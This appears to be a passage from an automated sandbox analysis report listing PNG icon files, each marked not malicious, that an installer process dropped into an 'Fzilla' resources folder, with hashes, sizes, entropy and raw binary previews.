SHA-256:	891D70D1D77DF9691B3A0EC6E1E4A6E4703B9ECB5340E7F91D92B5033E272573
SHA-512:	DB53AA318CD1307C7E919E2F20044D71152935CABB63E23898ABC2296BA1748E5892FBD19F72475EACC8AF434E0D4BB5F79F9016F9BBBEE26A54D2933C1D3606
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....\|.m......,b~....l.m.m.~mW/j&..n.lV..<.}.w...O....O.<.UoH...~...].>.B..;n..@..x.\..b.i....p1.l6m.Z.@.?...7..k_......m.({..Lf......c..B.I.x...R.B......R..........[Z3Vz...o.-.x%$iJVn#..d.b..YJ.dQ.......h..;...;....:.}.w..SI{g....r[.4....L.Rk.R.)#A.(v..f..6...-{[....v..)...`?.......D3A8.r$.RH..b@(....$B..".h%I..8......ET9.a1...n..'.........X.s`] .L....@F.."M.i...Ry.1L6'{."...e......r......h0+."..M.>`l...u.=....q..4..`L...s....[.u..0\.e ./..F.S..L..ZO...c<.y.B.Dx..(...dh.\.k=.a.GD\]....2.Q,.x2M.....K .=.F.E..{..H.p&...+......'.5....M.q....7.\|%.G)zX.?F.vN.Yq.q....]...e.x./.,n/b} ..........hQ....Y....".+.'...3..V.95Q]t...>...9N.~...Af.6..E.....(...t..F.zb..q.'O>9A1.K.'.q.."r.\.W..UzF..1 ..ow.:4c...5y.b.f.......y(.f>..S ..r.oY..4'.s...4Q.7._...DQ......q.....,..e..{...........d....>.dh...6JY...+..?..w..[.n.P.9Z.!.].....eFOJ..........>..p..Li.Br..]Y.z._..C..Pg.U.v.y.>........Y*...E.~.+./............z ....

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-DKTU7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1564
Entropy (8bit):	7.826603017999927
Encrypted:	false
SSDEEP:	24:mBWNW+B4qjmZW1b+MGY8Cdy6nQYm2vAfl1sS4Xb3yDQH1ZyBVOohy6Bn6cGOWuf:mBWrVtBP8My6J+dubkk6eVuVf
MD5:	D8F484059C6DA2B01D1BF36B8A8B5EFF
SHA1:	E2FE8AD90685DEAC21E788B01657144367646FDE
SHA-256:	C306E766C3064055AD4220698BD36AE0939BFE06E045C93B2731AE3681073BD1
SHA-512:	F42581A09FD3A7FC6DE3554B66284B2147F654623ED0E05E6C986F090E4CEDE0E16675BEF02B5E7EA917553E1B74F2B8FF1E50AF681DE8453C49BD81214A0C4D
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....t.n.......v....3.l2.].F..6f&...mt.~..Qd.;.w.........lmmYlll8....?.>.}...>...sBj....k...0g.....N..2....C..o.............^.x....,.^.7...R..C...d.....A2.}.$...6.......\|.............s..?..(.mYmYrO.L=...a.e.3M..T.P...!.D..4.;.L.?a...boo/...;.......m...\|....:.jRyR3..!....r..<e/.(..D.i.]+...~.}}}.ww....XPSSk...gC3......`[\.E.O.....l.n .Dq...R..{.......&.V..........4....dr...M.%......<@...#.lKe.e.6\T....}...'.Gquu................`......@....//OHO.\z!Xe(..u'.c..<.\..w.3\|...rrrrZEE.c.Add.T...P......0l..b.. ........w~.EL..,..=....2...H.K...3.......q`.`7lj.............TRN..&.0....)).y....0../...q41!..\|0.-..i...O. ...1.D..3.w f &&&...............).....! P..'Q.....\|......u......%.Ro....F.... f....u...V.4...X..-....A&c.Tq.....j.l...j.+...4..>.H`.@".&2.1./..}...?...g......$.........U;. .v....DI.....m.u.^o...O...(.K..%...3.[6.$i..!.V......;..M..1....$.. >L...@.~..h..oV....,.o..hR.xR.F?JR....t..Z.+....

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-EJDVP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1442
Entropy (8bit):	7.745475235760126
Encrypted:	false
SSDEEP:	24:Hz9wGbrh/FmgP5cGrxWLwFVlfSbvR56th3laZED7QYT+U5FVLxPdVqtTTFO:HCCNFlrxHGvSthwZEvQYT9XL0dTc
MD5:	465ACE9813FE91005360A178FF4F6123
SHA1:	5CABE49C8D30E8EF616FDEB8FB64083580B68419
SHA-256:	734E3514D09C78A03CA2231D27CE9087610715193D8DC177AB95F6C5ACFA6EDB
SHA-512:	C0B20B8543E498233E44C02E8642385961B95DB8F0D5F215DFC36D80A57484D915D6C55086CACFA916C330D83A41E81A44DFA663F21CB7B5A8006EFEE96F30E9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....iIDATx^..MHcW...K^.c..~.....`wnZEE`V..........L..nl.F.+.E[...T-(..(#`.k....w.D.......@..LS..y/.{...s?..,Hss......hXJ)b...`%...B.'''.........e.`~~~......9.......pXLMM....[....R.9tuu..M...@...}OO./..j.j....baaAo...!.HD......:....x<...B..!@__.....L...F ..onn.+++...U...n...Vqzz.O@.......".f3,.DQQ.0...........}@3. ......\|..a....(.=.....@..f.....o..###.i.......#v8<<.....1;.........p8..c.....MX.p....066.QNN.#r....P<...g.@..(.t.h.@.a......@~~>.S......$..!..f. #.....3.g...xv.....y.....g....t.`0(...........sM......../r.z8......(u...QSS#...X.....5VL.H..N.........(((..8.. ...@S..Qx.......a.o........tb........W.`62...?S...."..10"..d.@......@_#.....7...o......,....T.~R.K....e(I.!...S...y766.y\e....9j....`zz.......M.....E..A..p.%..5M.....U.d..i...!P..liii...\|....72....X..Hz.5ooo.onn~<>>.......r=.".......UWWW.;_@.-.)4kD.A.4.@TM.P.f8%.......I... i..`...........}......FL.;......'.8....!.k`gg.%]8:.fV$...g.`>.9..G?\|..l.T"....\|~...r(..H.SE

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-F8VK5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	7.859599419869458
Encrypted:	false
SSDEEP:	48:HKOyH7WElZkqPpVptNskSr44St4aMDFbqsc:HxmLVPQAtFWqN
MD5:	B2367AFA04C223B4E5932EBA393E1403
SHA1:	74C7B2E46ED230FB70E335B08C1BE217C05A1D5A
SHA-256:	D2D67439D802E632F4C4AAF217678678760A387298C833D602157ECAF6221E71
SHA-512:	C5A057696EFC8CBD45B556D51677CAE143296353FCC8066F8CE7FD5935577B0687C46B2324394811120C9F305713FF3FA13EFA6CACD39020747E88394C5AF066
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....QIDATx....p5K....=s..&..g.m...m..~.m#...Lw.t.[..6..N.N.qU.3$..nl..,..jmm]066.m.y%....f.d2..OQ$..r..w....k.e.(.............~.......3@:::.....-..g.O..].:d.]w.$j..2...0....g....}.....?...cz...\|..^.....=..qL__.I&PJ..k....-_..J..._~.....#....0.;..;;;7kF....s...C..E..-.?.~f..$w.........g.}.Z.c.:.v.Z&cpp..7...j.).......}..7.t.....GI..k....<....?.p@%.q.5.t._..:..i2,L.........g......O\|.?..O....7....N8.W.\|.;...L..]v.'.73....2.O>...u....C...9...Gu%.e&!...~.._...OF..\|.+w}.[.........f"6.\|.....\....(..L..U...}....I.V..).H...?Z..:..z.>.... ....{.?Y.ti>...:.x...Zl...@Zga.t..M...f=.......X..Y@...1.Fr.(v .%..b..L.L..;<`...Y...C..l..a..Y.r\.Z.....P..(.D.t...\|..{v1.]9.l.mKK>..FF.)>..B.E.@..Q...Tl...kUa...e.`eh.Xi...s~....u./.s........]..._...[...Q....k.........3.../.R...cV.1..6..n.....8.K ....B.C...R.....&...:..(O.,..b.g.H....,.M.~.xI..K..."8Q(..YL.. ..mA.!.P3.........Kj\T@..J.........E.z....u.Pq...gci.g.B......7...

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-FM19E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1265
Entropy (8bit):	7.792079235784413
Encrypted:	false
SSDEEP:	24:F34GNNUicyzwQ3etm1Ue2FV6P1sDz2pO5Cr11AJvYYau1bNybPK:dVrjPwmHEVMsX2Pr11AJbxybPK
MD5:	3A28A1622D5191AE4B103026D995C8FF
SHA1:	10CC1A0CBD2BFB6B1934A2C64611309BF9381F9F
SHA-256:	E210FD66F470833B09196DEB999F05C4F296EF20BC24236575BC151042F163E3
SHA-512:	B4491487D2B79EC9206DF8AF833CFD20037EA9F2156DCD406A113291E4A0E0318448B02F97B25B3F9E7C56CB7045D46BF4B808FF925B774E34C2B20DA5DEA774
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....pck...&.bU..m.H...m.=;.k....6m...;..g.......?H.oqrr2~..Y....eO.<..g. ..j>..j..D.8;;w...P..B........E.<k.)..r.)..6.w.^gooo../...n.)....i.o..'$/X.E.......G...>\|.'&.z...\.u.np...?XZZf......s.Z.._..M.>}....G....w..$.^...+....`.t...E.....I.}.....$].r.[....'&&.[\|..?...!((.^.\|...\|.7..Ahx8(.J.H.P....................;w..<xP....;..........!...@..RP[X...ZQ..6o.<y...KF..=...x..;3..=.. .....#G v.~.[YA...P..%l...a.SS.{..k.p..K.....rv...+ ....Z....+V....C.d.q]...U.cI\|...X...!..!H....-...a..P.Ib...6.oeE.......~.!.@....c..&.i.^ l.......!}..xBf...r.`..g....P.$._....Adl....!..g.7...{A.{....a.r....... 40..e....T......$..._r.^.P.VW.=}...?...$..@D.R..=.?..\|.>...H24d..{.4IxS....~..7........bp.....tw.]]!...&&C...(..D'...&.>}.W..B...I....D(M..j...E..5.B!(F..._..C..m#l.....:%....mo...HY.<.R,........E..p.lJ?}.r\N.A... @..m..[d.?..V. ..1f.h\Bt......................XY..R( ..^........zz..UWI...r.o'b%...r.d.:..LJ

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-FSPE2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2618
Entropy (8bit):	7.901131194517795
Encrypted:	false
SSDEEP:	48:B25d68w9BvSJwWcv3bzw1WI+OgsXaOe9A8U86vOLl7EwtKJsh:4n6tcs33w1MX9q2J8yh
MD5:	0F77A3441E8578129A7FF4E49C81389B
SHA1:	9C1623472D0E77BEEBC657155FA092201C898CAD
SHA-256:	2D4C44B6C1016F8ED63EF686AB34BDCA44914C0080AD52A9A660127C340524A2
SHA-512:	AAC4653CDE430786737703E74393FF56B5A21C5E37F076E4296387A48B3992AA1A334525E28B71AA35F1243F99ABF55CA08D9957C11367332111B714841CDB38
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....+I...B+I'.dt5....m.m...m.1s..$........9Oc..V}8.....8.T...........JZp]n..Bh..bp..X.wbI..~.f0.. ..\|.%6.i...&.)...RS...yfY..B@k.....W..?..A.K^w.0{....7..nu7;.Y8...!.......f.....N........G{...m.+._(....R ..iv.}.+W.....P..?.]..nmv.....{...79.......>h..}[.-.@.d.X.l.....^.}....-...T......a.v....0.i7......(..G.9....`.8.9...KA...^.K..m_k..^.d.z.A..(...K.1g.I)3.@fd... ......D.0T...>."U. i....{..D<.SF....._"...N.$...d.t........ ..!...\..?A.%....M.+.R!g4.7.d..A..\. ...$..'a..I.#@.C...N.Ld.($.HA..b.'..\|/F@...$...=+?DY.........\|#.i..4..c.R.t.-.%.};.......$PH..H.....YY}......@.ZMp0.\.0..).m.....,)..,cWd..%.6........ .p=.....% .o.....~~.H........}...w....c0..Mw....F..:g.....>.....J[.k..O.)....v,i..[.....`.. .IaH..@..{.........?...x........>.m.....9H..p<p..L.....Bg:1<.N......MeAID].[,.k.... .L..(......\|......\V1..9.?....].eT.(...B.n...@.7....[..F...:K..a..I...).@.E.....Z..p....0.6aI..k.....0.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-FV2KI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1259
Entropy (8bit):	7.810633047574094
Encrypted:	false
SSDEEP:	24:lajY5BiCUZcS8ASxhVr1JllfEYiQw3pEkwQO3u07qvtJvxUJVB53aG0Jcviz:F5Bf24xhJMY38pEkwQO3cvg53aGAz
MD5:	1C3BA4BDB2B0BB052679BDB099D24CE0
SHA1:	3B6A21FD3B3BF57C52A4CF1AE78D8684D669B600
SHA-256:	24FE6BF713952A9AE7D6CFACB067778B7142CAF12E5C8AF615852684F095EAB7
SHA-512:	86C904E372DCE724AF61DB391AB9BECCBB0FE40D1D7B4ADD545D7CACFB7D7ABBF25E6F7CED520E83BF18898BE5A2DA7CDC26512E20F9548CD11C5B6B0F1FE6DC
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V.x#k.....dm3...m.qj.m...3.m....n....2=.N.....?........;..7lV_..N.%..".\|....$.....6m.^..#.GC.5..l.=..y...u.1t.S..B.R..V....>e6...3....w>J\|.f.W...U..3@........Y....}M.e.:lSZ66.....'#...q7.E.I....\|%.DJ3...T.K7.s[.L...3.K....9....B...J.`.5R....4%...9~!...(.4.......(ln....3.&..8z&...".,.N.m.m.a..Xn.#.ik..D...!.rL.>.........:.n...q6r.LM...}.g...M.a.........[...}...&..H).~8-....z1n.L8.\|.&...\|.........0.z.....oD..2.Q..l7..U...S.7..7sf8.....!....{...].7p4t.LM<....\4.....Q.....\qy..d>.......}...M.dy&r..f..".t..2. .C.&..M,....G`....#I.;..+...-...t.Pn........$......J.....................m..4.Sc._Rn....z0_...b.p......q....C./..../h!x.'..}......"/.J,..7.....`o.B:...4`0x0x...[.....0.~f<Z..M...\|.5....K.Tei..HS:".~.+&... .9F.....6....%_.....Y...F.6.../....m.S.u8..)v.bDw.x.rfd\I`e...~f=...,....E....M.yl...M.....z.B.>..KB.M.yx.x...M....L......n_..2b.M..........p....w......dC...Tv..^$.../....Bx.\|..E9....A.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-GPPMJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1945
Entropy (8bit):	7.881352855748773
Encrypted:	false
SSDEEP:	48:OnrJt6G2fPWT5kUvX2vM462j1tdzm0wvOtEa5B2JBnCR+pvSuC:OnNsG2WVJR6jzdzl8OttUJBTvS1
MD5:	217FA1181DDAA3BD23CE7AAA98A36E26
SHA1:	E62F81DFEBE26E0236ED4C3F5A49C584B9B9BE88
SHA-256:	43AE1112F6C1C7A4A3B3DB65925B421BB69D5339CDA4EC15AD31898D33285ED0
SHA-512:	534EF984302CA3100E46EB6C7944DDB75D12F1FB378E36279D5B0D406654AC50FB49E0F41C0B63C1C869F65414847990E112AA4ED75AF75CBA70E8604B61150C
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....`IDATx.....N...3..b..m.m.m.m..}.k...:.O...~oWuz.Mw.D..{...0.(DV.ol.x.5._..;......\|a.=.....3.m<..SJ`Q0.6v.$.-.....\|..Jk.3...Y.^z...n......@SSS..SAGG..dH...........A..6......&N..RY.O...../.&..l....[..W_}u.\|>.%0....g.}v........q.{..p._.>ikk...g..........k.:.....6..Z..._~.b``@z{zd..i...W.....?.{.W.}.].......\..ny.wdttT..~...7.R.$w.q.\~...../h..k....:K...~..c.........7>..C.R>....c ...f.....1jkk.<.rY.......3$...L....S...c.x....p..'...f..[Z?.y......'....ds9Db.`.ct..M..Q...X...u#...s.b.y._]w.u..).o5o.7>..[?..co...yW#"..X...3.E...\|....h)4..tN.0i...o.....i.y.....#.>S.W_{...Z.0.@.#`. hGf.i7.....0..Q....>...W_...)..GK.........p.......Q..U?,0....T.U.......f..5A.....,......?... (T..2.n.e.OX...]y..K..E(...H...=..y..>z...oA..E.0..'Zm.H.X.0.q...c......c...a.....O....~.....h......4..H.(..i.E.........1.....5Yv.tN.}.~^{.I"<l:...?.?.).VDO.Q,".3v...(.. f.;....+.>dw...2.\5..;z.......U....a.........3...

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-GR1U8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2305
Entropy (8bit):	7.884673549108536
Encrypted:	false
SSDEEP:	48:8XAw5ajS8VVYFdnuNesPWEU2L2M7jUjWMOmNzv49Uc:8IjhVV56EUu2M7PuaX
MD5:	F49B3220A64C71CACBD07C4982243B4A
SHA1:	839E5AE0ACA037CF0FA9B8286C1D07397665DC9F
SHA-256:	38F31548EFD96187C765379F6726516AB8A5327A06D88861A5D1E5385B8721BE
SHA-512:	4733B1A2AB893C853554E3D2FE0CC45E588C908CE724D69112AE891A2935D0EC5282598E17170AFE6A262B97A436301F1A5793B86136B7D1ED99D5C6ED681E25
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....t.....i...mR....]..X..m;.m......4.}}...wr.d.{..;.....~M../....#....m....G%.Q....wu.~..d;p..G.1....t..tG........{]\<ow....[<k0P.8.r..x.wt.....U...^.{.............8..1.k.2.}.;;..P\uv.C....;..x.S..Qc..~.V....8..L...\|.....O>..&.3O...S.0i.o........o.]..A..\|..E...f./.#........ph.P~p...Y.K0......v.....1.x.(s`+px..im...o...}...w/.w.d.5\|.h.c..a.\|..N=.G.~..g?..;.....v.1.EX.b-..l.....;.#...a.6\.....}6p`.....U;;..&.).T....1...e8~.:.Z.....F...c.>l._....b....G..v~...u'<A.J#[.o..AC.zs....^..._j./N7ir.n.&.....r.=..G..m...x...H.1..3z.HF...........S'>h.....A..8......7v.e..b..t..~....p]..t.H.J</.%.8...;./).]...K.0IJ.v........;w..v-.v..@..B.0.)h.a...:.....b..=]3..=1lXJ...7n..ne..U._..)g.0+..9yy.-.fnI.".........d.#\|"....^.\.....O.../...k..8.k.>4..I...={...!..}....j...2O.m...If'%1....g.,..V.s.a.5y.....J.j.e..W.d.4\...,&Y"..H..c~~~.EEE.T...*KZo..%1.'.O ...P....m..h5.].Y.yL.z..b.l6.<.~..z...QQ.JV4EFF....$...

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-J91MG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1774
Entropy (8bit):	7.832551195098701
Encrypted:	false
SSDEEP:	24:nlGV5NjV6I50Sm1vSwq75c+NkZGmkYl9+bcC3qiJH50gs/Le6pLyvztXvQ8OWS4C:lGV5NJ6HSmALYZGy7IhjH50g3SCR/2D
MD5:	DBA06AB15E6263486CE28315D0FD58DC
SHA1:	DAADC452D8209651429603AE62B3301D6F41DA42
SHA-256:	B86DB4F8C38598A2811BCF94EF666EE7E3F83F430C3397AE64FF526F05087276
SHA-512:	4DFC6DE7BF9743848062BD75DDBA58C0CCDD5D8D3AD2ECB261E65100B443A69433F56AEA8EE3AADACEE4AA4D88FC3BC0C3E8DF955D751943CF983EA56C4BD416
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...tk[.....1.mz..m.=.0.m.6....6...M.4:9.{v:..}...u..w.....?...\|.r.\|2.mu....}.....}l.f.x.'?....t./..U..L.Q..z.??2z.<5.Fm.....M.p...<u....)....T.?6.H........ .".a.....Dyqa.xy.w.S?....9.5.@.N.E...i.D6.@>.D...t\.U...kh#.......[.~.;'..7.s...f...K.......W.`..O..z.....(.L.w...%.4.#" ...B.q.PF..l..t7tu>.R.?U....:.[.....}nbE...~.i.z....J....{.......u..M'.Lc..A....Cw].<....@..r7;..j.L....".M...q.....d..X..Fc:N.c..m.H....mk..Xj4.......<.gf5M.U.....Z.R....&:-...M. ....L..a.@....ryR..-.....z/..(.L.L.R...<9yY..#'W. ...C#.{n.9s....L$..3.JZ.iAe.LQ.k;.(.G.......T.V.eMF.# D..x....>50...)....Q??=4t..'.....Z-e.RI.M....dR).w..N3J@ ..T.}....w.......xk]BEZ...)..{....i.x...w....eq..7..d.........hz`.R.C...."Zu.?A.F.X...{.S.*..T..7l./.....+.=W.8..]........f.!.p...J..Kw..W..9..ZG.....M..I....;....gw9.J.tFq\......B.FGz....{...o%..ttt`zz..e..KKW,.....J#H...?......}D...e.$>.h...a......0.O.8.......KbH..%........=..#]]I.2.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-K1OGU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1056
Entropy (8bit):	7.7664202701837395
Encrypted:	false
SSDEEP:	24:PfJWryoPgZ/eveAzLsX2IPDTo3xgavtMZIbajxV5DPfhXz:PfJWryxg2AHsGcTo3+avtCjjr5Lf9
MD5:	890C208D968EB6C3CE0CB8267F53485C
SHA1:	5CE3CDC4F86610599F006826D12E8BF19935C1DE
SHA-256:	0E6EC88C54BBD99DCBCA7ED090B775E0EAEEC992AB20EEB1850A79A65F7E790C
SHA-512:	895B1A23A7ECA1A8C0D713FAE5DBF8454DEB2221367C379E178CDB4CAF1873224861C7FAF14E33BC77E31081C70D5D79E1A1C48B8220ED761A48C05FFEB2516D
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....h....^.I.m.m.m.m....v{.,.V..?.W..f.#.F.6m...4q'_C\..U.zE..4.F....]H:\|..N....e..K...+a...-..%.A..g..1....j.S....{.1.5a...!7)..w...tH>v.....w}../..kW\|nj..<....7l./99.k."0..q.b./..RA.O.5q"X...c.V.v.d<\|.....U..9.Q..vGT..Q..X......M!..{....-%...O.&I....f....!v....1.l#F..3.V..K..{..p.8[q....!..;.......6f..[..M.. ..........4.>..8K1.f..n.....^...K...V-P......{...H.6~<hJ.z..{.g(i...8H.\|....A.........3%..C..R......vmy;.e'.9............B.@.'......MR.\...r%../F1.2ww.I$...........Wa.%S.i...%.o"E0..TE..J...-..<.l..H.......H.3el.m......h...:.C.~...[3...l...u....H.R..ZX...+d9...Q.~....v=..P@.. .(......q.&..-....t5k...A\..@....+.&.?..}.._.,0...7 ...~.........op....j!i.>.^.... ..Z..........S>z.de.R..>}...D&...!...<..S....Rwwa6. ....T.5'i........ps..../q..PT...k.I.5.SL.Z9f\.Z??P.g.B8\|^....Iw...BC.+T3 ....O....\X..#....K.BQ..q._.......g.....Q6.a<.......e.......3$<\|1K.....\|4...M.F.#s.FF

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-KJ0QL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2036
Entropy (8bit):	7.875382760915973
Encrypted:	false
SSDEEP:	48:O8Rx8bYTPPqpFsbb18IC7wUtdLzFfwgbVeDfadZ:Oyx8sTPP04b1O7NLzVwrDe
MD5:	9A4B68DDF573F2F9FE8558E47D332134
SHA1:	B1D20923C6BFC113A0C878F6A8C39798C98FD37A
SHA-256:	1D6668E1298D6D597B25E7A694981C5657B15B82D3D51C51D420413A00B57E3A
SHA-512:	564813F9BE6776BCF854198521F082C8BD6C00523B164EF2138489215DE2D5E299B3E9E7FAE5F53DDAA5AB2F2BA0DAA160BE7309CC94272865FF0797CD4E08A2
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..T..6G.....g#......._T.A..m...6.m[Q.~...s^.l.m..7..9s..wF.hl.-.y..6n.x...<.~.......M.....dx....;.3h...?z....=..z.g...?..u.y.FGG/..m...CF.y.`2....8..q.}..8p }.....{........s.U..]..y....R.s......NNN.....5.....?./.L....o......S8....o..:.......`0...f...?........?..8..x.#.RJ......x\v.].c...7D"...Xl ..9.s^y....z..C+..j.......l.......S.T*..g.M...F..s.......PJ.....B.# H0n.........!....\...;.$.!Q.Z!..c...q..L..$....L...~........E..Y.g...a.......'....W..L..B........F.^.0(FLMM...q.......,T......G.Lb: ..K......^.`.m...I.s.Z..........=.?2h9'H$'.dhL.L...^a..W(q~..bA...pm1.......`....8-.n...A...I.G..2M.n....F...@...h-.;&.S .V.d...d&.a..S.P..))..n....e....!.....bor1..s..\...q.K..../.i..M....[..pf.\|>o...k.&`..A.&..\|...+.H..^..}Q.V#.J._.d.@..JOO.'.]..+...sA..:....V.A......x..Hu.....X......_}.u..n=........\L.D.q<..~..X&.y..yby.L.4..... ,.W[=@..a.~...'..;...4.u...m.nl;Y.m.m[....X.....\|..t..0/..v........_..

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-M9O4J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1531
Entropy (8bit):	7.807712083053081
Encrypted:	false
SSDEEP:	24:mp016kQcyfuYWSawpBsF9yD4O367UNKcnaPtMzERKeA6bXn46llc2yQxVlW6n8CI:x16kAdBsM4VgKruz0KeA6DnJl5V868D9
MD5:	9782CC925B205531FD82F757089560CA
SHA1:	A01A4F2074D348ADDC879CB10EA8EF89419CF094
SHA-256:	FD794F32F1AC72EBC7DB8B53586C6111FAA30BF6EC9E115067B6D9F437E5EA62
SHA-512:	ADE88A9962E51CFDAE5D925692329E8A42F2B9DBF2811CA38CFD74FCFFF481D65F323C6DC060008A19234C24EE6785F69AB0731D8BB6E09CB4F6586E13D8421F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....4.......x...a.6..Fm..1..Am..m[.?...;..'7..d.x.Qu.g.;g..........W...w......eY!"..C.TL.._......r..e.w..4,\|.3.I.4..........w..$i..X.".e...\|.{.u...w/........=.q.X....eY.B.f%H..C.....?.X...k. ........>.b.."...y.....(..}...f3.a..j..p8,Y0.N..v.4..L.P...K<....3.....~..\|..t..}. ..t:...%..C.T.....X..x..EH%R...&(..y.P.V.8."....6...E.....P.0...5..6M....@..?.....?.!.c..#.IQ.x..Z.e..N.XW@..........G..C}V......{.\|...[[....{{8e.....S...F.....~. .......z.c .\.a.~......<.YYA..1.tr.uG....;T.q%.S..6..at..N`..9?.......<.y...3......U..\...,.......8.........`:....(h...E\\|...HT.....-.x@...'@...R...sr.)R...=..(V..`.#.X...{G+..). ...b2.)........8.G..J...m..Ar.K ..........9......k..1]..'t.;.V.?..../...M.!.".Q..2.!.....NB..0C.jJ.L..I..S.[....M..uw..IP..@m. 8@.V.X..'......'.-L6$.#..&......EB......d\|..e.....[.\|>....7o.4......-..R.{.S..4.Y...b..@......8.R...[.n-.Xt..(Y......0...7....O-.eg.\|5-.......}.?d......G.1:..&...E..`mm...%

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-OL8UB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1587
Entropy (8bit):	7.846513980152697
Encrypted:	false
SSDEEP:	48:17XKUidox2OWDGv/ss2jiquMyQAq2HlYm40HORo:1bKNmcOjvks2uquSXiE0Eo
MD5:	585E951EED607EFB6E3140F600540DDD
SHA1:	1C5D514E480E03D45AF2EAA352463B7BFAA43A3C
SHA-256:	7289AF75F945E34C4469ED24AB2D8D2F64D835128CC67F91B366313F6EC63E6D
SHA-512:	37C98461A50B4E06C8F6BA65E77EEA9753FE03A788DBEC94ADEEE355D39939E3BF0AF74C0260F3A503B4BEBA45C60AA19477485CD7D48DA3735F10A964BB9A94
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W..$M.}..X.Bgcm._.....p..m.....Y..1.a..7...+_eee........+..h..W.......j.H.`.=IrM....M.....RRR.{...\|x...h.Y.A..}.E....sR...PsLM!(++........X....v..S'.j..^..X....UUU.........jj.......v%[O.C..jz.6....E9.~II.x.a.Z...[...Tm&@...=W..".......A.~.PZZ....}........5.t:..^.w....<yR..nY..5%.".#.........A.j.k..-[.._.RB..d.....#88.\.....L..q...jryNV.p8.\|FG.t.\|y.L..OO.[.8.p...\......s..!.T.....iw..!....Y..'+LJ...TqB.p,..FEE..G.z...LuZ....}...n........[..f..( (..T..s-.G...W....0..TGD.}.}.1c..........qj.P........#p1............\|...e.^..7o`.#i12]B.}...&M. ??_E`...j.$.:.........5.).Fo../....)`+...q.Q......w.\|....{_...?...-...7O..9r$.z.5Y.........C...._.............N[.o.n.._..n.t.y.y.{w.(+#.v...v.k.z^a...e+.:.~....L.....7+.?.M,.b.....i...}........CO0@....fiuRj[ ..' . ./.......'K...mE.....X..6..8...;...i.B..TZ\LG..#.8.%...=..K....e?}.T.n.R....(<,..S...oZ.=.N....j...-,....v.....y.v.....H.6T..C[.m#.c..9q....

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-QFTKN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
